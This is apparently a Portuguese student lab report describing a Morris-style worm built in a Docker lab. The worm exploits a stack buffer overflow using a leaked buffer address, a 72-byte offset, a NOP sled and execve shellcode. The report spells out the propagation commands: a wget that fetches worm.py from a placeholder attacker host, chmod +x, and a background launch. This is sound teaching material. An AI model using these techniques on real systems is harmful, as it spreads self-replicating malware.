



Nome: Yvens Ian Prado Porto
RA: 184031

1 Introdução

O presente relatório descreve o desenvolvimento e a execução prática do Trabalho 05 da disciplina MC833, que consistiu na modelagem e implementação de um código autorreplicante (*Worm*), inspirado no clássico Worm de Morris. O laboratório foi realizado em um ambiente de rede containerizado via Docker, composto por alvos vulneráveis a ataques de transbordamento de buffer (*Buffer Overflow*) baseados na arquitetura x86_64. O objetivo principal foi criar um script autônomo capaz de realizar reconhecimento de rede, contornar mecanismos de randomização de endereços extraíndo vazamentos de memória (*Info Leak*), construir *payloads* dinâmicos e propagar-se de forma independente entre os nós da rede (sub-redes 172.28.1.0/24 a 172.28.5.0/24).

2 Diagnóstico e Engenharia do Ataque

Para que a exploração de *Buffer Overflow* tivesse sucesso e permitisse a injeção do código malicioso, foi fundamental mapear precisamente o layout da pilha (*Stack*) do servidor vulnerável. Inicialmente, ataques de força bruta com *offsets* genéricos resultavam em interrupções silenciosas do processo.

Utilizando a ferramenta GNU Debugger (*gdb*) em um dos contêineres alvo (*vitima_01*), simulamos um *crash* enviando um padrão rastreável de caracteres. Pela análise dos registradores no momento da falha (*Segmentation Fault*), especificamente o *Base Pointer* (*RBP*) e o *Instruction Pointer* (*RIP*), determinamos empiricamente que o distanciamento (*offset*) exato desde o início do *buffer* até o endereço de retorno armazenado na pilha era de 72 bytes. Essa precisão metodológica garantiu que o endereço de retorno pudesse ser sobrescrito cirurgicamente.

3 Execução e Propagação Autônoma

O *Worm* foi desenvolvido em Python e estruturado para operar em um ciclo contínuo de varredura (`while True`), orquestrando as fases de prospecção, exploração e replicação sem intervenção humana.

3.1 Reconhecimento e Captura do Info Leak

A função lógica `getNextTarget` foi implementada para iterar aleatoriamente sobre o espaço restrito de IPs ativos (hosts 10 a 14, alocados nas sub-redes 1 a 5). Ao selecionar um alvo, o script abre uma sessão TCP via `nc` na porta 9090. Explorando a falha de *Info Leak* do servidor, o processo remoto vaza o endereço real de alocação do *buffer* (e.g., `0x7fffffff970`). O *Worm* captura e faz o *parsing* dessa string em tempo de execução, viabilizando o cálculo dinâmico da memória.

3.2 Construção Dinâmica do Payload (NOP Sled e Shellcode)

O pacote malicioso (*badfile*) foi forjado com um comprimento fixo de 500 bytes. Para maximizar a confiabilidade do ataque frente a ínfimas variações ambientais da pilha, empregou-se a técnica de *NOP Sled*. Preenchemos o arquivo majoritariamente com instruções *No-Operation* (`0x90`).

O endereço de retorno sobrescrito (`ret`) não apontou para o início exato do pacote, mas foi calculado somando-se `0x100` ao endereço base capturado. Com o *offset* de 72 bytes inserindo este valor no *RIP* da

máquina alvo, a finalização da função vulnerável causava um salto para a região central do nosso *NOP Sled*, deslizando o fluxo de instrução de forma segura e determinística até o *shellcode* alocado ao final do arquivo.

3.3 Injeção e Replicação

O *shellcode* injetado no final da sequência aciona uma *syscall execve* executando o `/bin/sh`. A carga entregou comandos não interativos com três propósitos:

- Gravar a *flag* de verificação de infecção (`echo 'true' > infectado.txt`).
- Realizar o download silencioso do próprio script malicioso, servido via `http.server` instanciado pelo nó atacante (`wget http://[IP.ATACANTE]:8080/worm.py`).
- Conceder privilégios de execução (`chmod +x`) e disparar a nova instância viral em *background* (`&`).

4 Validação e Conclusão

A eficácia do *Worm* foi confirmada monitorando-se remotamente o estado interno das vítimas (ex: via `docker exec vitima_14`). O arquivo `infectado.txt` validou o valor `true`, ratificando o desvio no fluxo de execução imposto pelo transbordamento. O experimento consolida empiricamente as ameaças representadas por falhas de gerenciamento de memória em linguagens de baixo nível e ilustra a viabilidade matemática e arquitetural da propagação automatizada de *malwares*.

5 Declaração de Uso de Inteligência Artificial

Declaro o uso de ferramentas de Inteligência Artificial Generativa como assistentes educacionais para o desenvolvimento desta atividade laboratorial. O auxílio concentrou-se no processo de *troubleshooting* para refinamento empírico de distanciamento de memória (*offset*) utilizando o GNU Debugger, na modularização das rotinas de captura de *stdout* (*Info Leak*) via biblioteca `subprocess` do Python e na revisão estrutural/tipográfica deste relatório em L^AT_EX. A engenharia dos *payloads*, o mapeamento da rede e as validações diretas no ambiente containerizado foram processadas de modo autoral.